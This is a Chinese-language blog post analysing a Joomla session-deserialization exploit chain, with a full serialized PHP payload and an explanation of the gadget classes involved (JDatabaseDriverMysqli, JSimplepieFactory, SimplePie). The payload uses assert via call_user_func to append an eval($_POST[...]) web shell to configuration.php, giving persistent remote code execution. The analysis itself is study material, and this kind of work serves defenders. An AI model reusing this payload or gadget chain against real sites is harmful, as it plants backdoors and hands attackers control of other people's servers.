能夠看到和正常數據不一樣的地方的後面也有不少相似函數的參數,把上面的格式化一下
__default| a:8: { s:15:"session.counter"; i:3; s:19:"session.timer.start"; i:1588261345; s:18:"session.timer.last"; i:1588261347; s:17:"session.timer.now"; i:1588261570; s:8:"registry"; O:24:"Joomla\Registry\Registry":2: { s:7:"\0\0\0data"; O:8:"stdClass":1: { s:5:"users"; O:8:"stdClass":1: { s:5:"login"; O:8:"stdClass":1: { s:4:"form"; O:8:"stdClass":2: { s:4:"data"; a:5: { s:6:"return";s:39:"index.php?option=com_users&view=profile"; s:8:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"; s:8:"password";s:603:"AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:217:"file_put_contents('configuration.php','if(isset($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\'])) eval($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\']);', FILE_APPEND) || $a='http://wtf';";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:6:"return";s:102:"; s:9:"secretkey";s:0:""; s:8:"remember";i:0; } s:6:"return"; s:39:"index.php?option=com_users&view=profile"; } } } } s:9:"separator"; s:1:"."; } s:4:"user"; O:5:"JUser":26: { s:9:"\0\0\0isRoot";N; s:2:"id";i:0; s:4:"name";N; s:8:"username";N; s:5:"email";N; s:8:"password";N; s:14:"password_clear";s:0:""; s:5:"block";N; s:9:"sendEmail";i:0; s:12:"registerDate";N; s:13:"lastvisitDate";N; s:10:"activation";N; s:6:"params";N; s:6:"groups";a:1:{i:0;s:1:"9";} s:5:"guest";i:1; s:13:"lastResetTime";N; s:10:"resetCount";N; s:12:"requireReset";N; s:10:"\0\0\0_params"; O:24:"Joomla\Registry\Registry":2: { s:7:"\0\0\0data"; O:8:"stdClass":0:{} s:9:"separator";s:1:"."; } s:14:"\0\0\0_authGroups";N; s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;} s:15:"\0\0\0_authActions";N; s:12:"\0\0\0_errorMsg";N; s:13:"\0\0\0userHelper"; O:18:"JUserWrapperHelper":0:{} s:10:"\0\0\0_errors";a:0:{} s:3:"aid";i:0; } s:13:"session.token"; s:32:"878c42d725cd32dcc52aa2ca0c848ded"; s:17:"application.queue"; a:1:{i:0;a:2:{s:7:"message";s:69:"Username and password do not match or you do not have an account yet.";s:4:"type";s:7:"warning";}}}
Services 一文中給出全部的字母標示及其含義:
a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
在其中的";s:8:"password";s:603:"AAA長度爲27,正好爲構造的payload,通過read函數的替換以後變爲
以後通過一個303跳轉,請求index.php/component/users/?view=login重新調用read()函數,觸發payload
這裏的password字段被替換爲一個類
查看libraries/joomla/database/driver/mysqli.php中206行
public function __destruct() { $this->disconnect(); } public function disconnect() { // Close the connection. if ($this->connection) { foreach ($this->disconnectHandlers as $h) { call_user_func_array($h, array( &$this)); } mysqli_close($this->connection); } $this->connection = null; }
存在一個call_user_func_array函數,可是這裏面的&$this
是咱們不可控的,因此須要取尋找另外一個利用點,新調用一個對象,在libraries/simplepie/simplepie.php中
這裏simplepie是沒有定義的,因此須要new JSimplepieFactory()
,而且在SimplePie類中,須要知足if ($this->cache && $parsed_feed_url['scheme'] !== '')
才能調用下面的call_user_func
,而且爲了知足可以實現函數使用,須要$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
中的cache_name_function和feed_url爲咱們的函數和命令
在這個序列化的過程當中,我沒有理解爲何要新new出來一個JDatabaseDriverMysql對象,這個對象extends
JDatabaseDriverMysqli,難道是爲了再調用JDatabaseDriverMysqli中的方法麼,若是有大佬知道的話,歡迎留言評論